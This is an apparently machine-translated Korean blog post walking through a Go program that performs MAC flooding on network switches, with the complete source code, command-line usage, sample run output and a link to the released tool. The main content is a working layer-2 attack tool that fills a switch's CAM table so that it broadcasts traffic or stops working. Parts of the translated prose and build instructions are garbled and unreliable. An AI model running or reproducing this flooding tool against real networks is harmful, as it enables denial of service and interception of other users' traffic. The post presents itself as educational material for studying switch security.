Go를 이용하여 데이터 체인 층에서 네트워크 설비를 개발하다

2018년에 저는 고등학교 사이버 보안 수업에서 OSI 설비를 소개했습니다.사실 나는 내가 어떻게 이런 공격을 해야 할지 궁금하다.사실상, 이미 충분한 도구가 있지만, 스크립트 어린이만 기존의 도구를 사용한다.그래서 나는 교환 네트워크를 닫기 위해 내 도구를 쓰기로 결정했다.
내가 말한 공격의 이름은 맥 플로딩이다.

MAC flooding
컴퓨터 네트워크에서 미디어 액세스 제어 공격이나 MAC 홍수는 네트워크 교환기의 안전을 해치는 기술이다.이 공격의 작업 원리는 합법적인 MAC표 내용을 교환기에서 강제로 옮기고 단독 방송 홍수 행위를 강제하는 것이다. 이는 민감한 정보를 인터넷에서 통상적으로 보내지 않으려는 부분으로 보낼 수 있다.
View on Wikipedia
이것은 일종의 서비스 거부 공격이다.일반적으로 교환 기회는 어느 클라이언트(MAC 주소)가 어느 포트에 연결되었는지 기억한다.그러나 스위치보다 더 많은 클라이언트가 있는 경우 각 포트에 Tier 2 프레임을 보내면 트래픽 전체를 탐지하거나 트래픽이 기하급수적으로 증가하여 네트워크 전체가 중단될 수 있습니다.
그래서 유일하게 해야 할 일은 서로 다른 MAC 주소에서 온 프레임으로 네트워크를 잠그는 것이다.스위치의 CAM 테이블이 제한되어 있기 때문에 스위치는 특정 시점에 서로 다른 소스 주소를 기억할 수 없으므로 사용할 수 없습니다.

The switches should be able to recover from the attack automatically using the MAC table aging method

In addition, modern switches may be configured using so-called port security, so it is of course possible to eliminate such an attack at it's root cause.


목표 및 요구 사항 정의



우리의 네트워크는 위의 그림과 같다.우리는 이 스위치가 그의 기억보다 컴퓨터에 더 많이 연결되어 있다는 것을 믿게 하고 싶다.이를 위해서는 OSI 참조 모델의 데이터 링크 계층에서 직접 작업을 수행해야 합니다.모든'정상'요청은 저희 운영체제의 도움 아래 정확하게 설정되기 때문에 모든 네트워크 인터페이스는 항상 하나의 MAC만 사용할 수 있습니다.그러나 이것은 우리가 같은 네트워크 인터페이스를 사용하여 다른 MAC 주소를 시뮬레이션할 수 없다는 것을 의미하지는 않는다.
Go 프로그래밍 언어에 대해 Matt layer는 데이터 체인 층에서 직접 조작할 수 있는 아주 좋은 라이브러리를 만들었는데 이것들은 ethernet raw 라고 불린다.

He has already written about it in his blog - make sure to check it out: Network Protocol Breakdown: Ethernet and Go


mdlayher / 이더넷


이더넷을 봉인하여 IEEE 802.3 ethernet II 프레임과 IEEE 802.1Q VLAN 태그를 봉인하고 해제합니다.마성이공대학 권한 수여.


이더넷


패키지ethernet IEEE 802.3 패킹 및 패킹 해제
이더넷 II 프레임 및 IEEE 802.1Q VLAN 레이블마성이공대학 권한 수여.
Go에서 이더넷 프레임 사용에 대한 자세한 내용은 내 블로그를 참조하십시오.
우편: Network Protocol Breakdown: Ethernet and Go.
View on GitHub
우리의 공구는 당연히 지구상에서 가장 빨라야 한다.따라서 Go 병렬 모드를 사용합니다.
이더리움 프레임을 네트워크 연결의 정수를 다음 코드 부분에 기록합니다.이 방법은 ethernet.Frame 구조의 채널에서 순환하고 기본 목표 주소를 사용하여 네트워크 인터페이스에 기록합니다.
이 함수는 네트워크 인터페이스에 기록된 바이트 수를 다른 채널로 보냅니다.
// frameWriter sends ethernet frames over the network
func frameWriter(c net.PacketConn, ch <-chan *ethernet.Frame, stats chan<- int, doneCall func()) {
    for f := range ch {
        // get frame and marshall it to binary
        b, err := f.MarshalBinary()
        if err != nil {
            fmt.Printf("failed to marshal ethernet frame: %v", err)
        }

        // only necessary for WriteTo() method, does not change the frame
        addr := &raw.Addr{
            HardwareAddr: ethernet.Broadcast,
        }

        // write frame
        n, err := c.WriteTo(b, addr)
        if err != nil {
            fmt.Printf("Cannot write to connection: %v", err)
        }

        // send to channel
        stats <- n
    }
    doneCall()
}
우선, 우리는 우리의 도구가 어떻게 운행해야 하는지를 제어하고 싶다.따라서 다음과 같은 명령행 매개 변수를 구현했습니다.
  • 보낼 네트워크 인터페이스
  • 쓰기 위한 고로틴 수
  • 전송할 프레임 수
  • 이 도구는 Unix 기반 기기에서만 작동하기 때문에 맨 위에 있는 줄 (build constraint 또는 tag) 이 대상 플랫폼을 지정합니다.
    //+build linux darwin
    
    package main
    
    import (
        "flag"
        "fmt"
        "github.com/mdlayher/ethernet"
        "github.com/mdlayher/raw"
        "net"
        "os/user"
        "sync"
        "time"
    )
    
    var num = flag.Int("n", 1, "Amount of frames send")
    var ifaceName = flag.String("i", "", "Interface to send")
    var numThreads = flag.Int("t", 12, "Number of threads to use")
    var seed = flag.Int("s", 0, "Seed for source MAC address")
    var versionFlag = flag.Bool("v", false, "Print version")
    
    const etherType = 0xbeef
    const version = "flood v0.2.0"
    
    // prerequisitesSatisfied checks if all requirements are met
    func prerequisitesSatisfied() bool {
        if *versionFlag {
            fmt.Println(version)
            return false
        }
    
        u, _ := user.Current()
        if u.Uid != "0" {
            fmt.Println("This program requires root (UID 0) access")
            return false
        }
    
        // require iface index flag
        if *ifaceName == "" {
            flag.Usage()
            return false
        }
    
        if *seed < 0 || *seed > 255 {
            fmt.Printf("Seed (%d) must be between 0 and 255\n", *seed)
            return false
        }
        return true
    }
    
    func main() {
        flag.Parse()
        if !prerequisitesSatisfied() {
            return
        }
    
        iface, err := net.InterfaceByName(*ifaceName)
        if err != nil {
            fmt.Println("No such network interface")
            return
        }
    
        conn, err := raw.ListenPacket(iface, etherType, nil)
        if err != nil {
            fmt.Printf("cannot open connection: %v", err)
            return
        }
    
        var wg sync.WaitGroup
    
        // init channels
        ch := make(chan *ethernet.Frame)
        stats := make(chan int)
    
        // create sender goroutines
        for i := 0; i < *numThreads; i++ {
            wg.Add(1)
            // pass in Done() method from waitgroup
            go frameWriter(conn, ch, stats, wg.Done)
        }
    
        // init stat vars
        framesSend := 0
        bytesWritten := 0
        startTime := time.Now()
    
        // stat collecting goroutine
        go func() {
            // no need for waitgroup here,
            // goroutine gets automatically killed when any sender goroutine exits
            for bytes := range stats {
                bytesWritten += bytes
                framesSend++
            }
        }()
    
        for i := 1; i <= *num; i++ {
            f := &ethernet.Frame{
                Destination: ethernet.Broadcast,
                // every frame should have a different MAC address
                // and emulates therefore a different computer
                Source: net.HardwareAddr{
                    byte(*seed),
                    0x00,
                    // hacky method for power to 2 numbers
                    byte(i / (24 << 1)), uint8(i / (16 << 1)), uint8(i / (8 << 1)), uint8(i),
                },
                EtherType: etherType,
            }
            ch <- f
        }
    
        // close channel
        close(ch)
        wg.Wait() // wait for goroutines quit
    
        fmt.Println("Execution summary:")
        fmt.Printf("%d frames send\n", framesSend)
        fmt.Printf("%d bytes written\n", bytesWritten)
        fmt.Printf("Took a total time of %v\n", time.Since(startTime))
    }
    
    main 기능이 시작될 때 모든 선결 조건을 설정하고 검사합니다.이후 통신에 사용되는 채널이 초기화되었고 frameWritergoroutine가 스케줄링되었다.이것도 고로틴의 통계 데이터를 수집하는 데 적용된다.
    다음에 메인 고로틴에 프레임을 만들고 frameWriter 고로틴에 보내서 네트워크 인터페이스에 기록합니다.

    결실


    결과를 검사하기 위해서, 나는 Wireshark를 사용하여 로컬 네트워크 데이터를 탐지했다.프레임에는 다른 소스 MAC 주소가 있어야 합니다.
    용법은 아래와 같다.
    $ ./flood -h
    Usage of ./flood:
      -i string
            Interface to send
      -n int
            Amount of frames send (default 1)
      -s int
            Seed for source MAC address
      -t int
            Number of threads to use (default 12)
      -v    Print version
    
    우선, 우리는 프레임을 어느 네트워크 인터페이스로 보내기를 원하는지 평가해야 한다.다음에 루트 권한을 받아야만 이 프로그램을 실행할 수 있습니다.
    # ./flood -i ens33 -n 100
    100 frames send
    6000 bytes written
    Took a total time of 5.070503ms
    
    Wireshark에서 ethernet 형식 0xbeef 에 필터를 적용할 때 비슷한 상황을 볼 수 있습니다. 이것은 flood 도구의 기본 형식입니다.
  • 패킷마다 원본 MAC 주소가 다르고 정렬이 없음
  • 목적지 MAC는 항상 방송 상태를 유지한다
  • 프레임 내의 데이터 길이는 0이 아닙니다.왜?최소 이더넷 프레임 길이(60바이트) 때문
  • 여기에 완전한 코드가 있습니다. (미리 컴파일된 바이너리 파일도 있습니다.) 그러나 이 소프트웨어만 교육 목적으로 사용할 수 있는지 확인하십시오. 허용된 상황에서만 사용하십시오.

    데이비드 클로어 / 홍수


    바둑 중인 맥 홍수 공격 도구


    홍수


    OSI Layer 2 공격으로 MAC 주소표를 채워 스위치를 닫습니다.

    요구 사항


    이 소프트웨어는 linux 운영체제에서만 실행되며, 최저 버전은 go1.12 이다.

    짓다


    올바르게 구성된 Go 도구 체인을 사용하여 다음 작업을 수행합니다.
    #linux에서만
    github를 찾아가.com/davidkroell/flood
    cd$GOPATH/src/github.com/davidkroell/flood
    홍수 방지 파이프를 건설하러 가다.가다

    사용법


    홍수의 사용:
    - 난 밧줄로
    보낼 인터페이스
    -n int
    전송된 프레임 수(기본값은 1)
    -s int
    소스 MAC 주소의 피드
    -t int
    사용할 스레드 수 (기본값은 12)
    - v 인쇄판

    면책 성명


    이 소프트웨어는 교육용으로만 제공됩니다.
    저자는 소프트웨어의 어떠한 오용에도 책임을 지지 않는다.
    인터넷 소유자의 허가 없이 공격하는 것은 불법이다.
    위험을 스스로 부담하다.
    View on GitHub
    읽어 주셔서 감사합니다. 그리고 예전과 같이 개선 피드백을 수시로 제출해 주십시오.

    링크


    OSI model
    CAM tables
    Data link layer
    Wireshark
    Title image

    좋은 웹페이지 즐겨찾기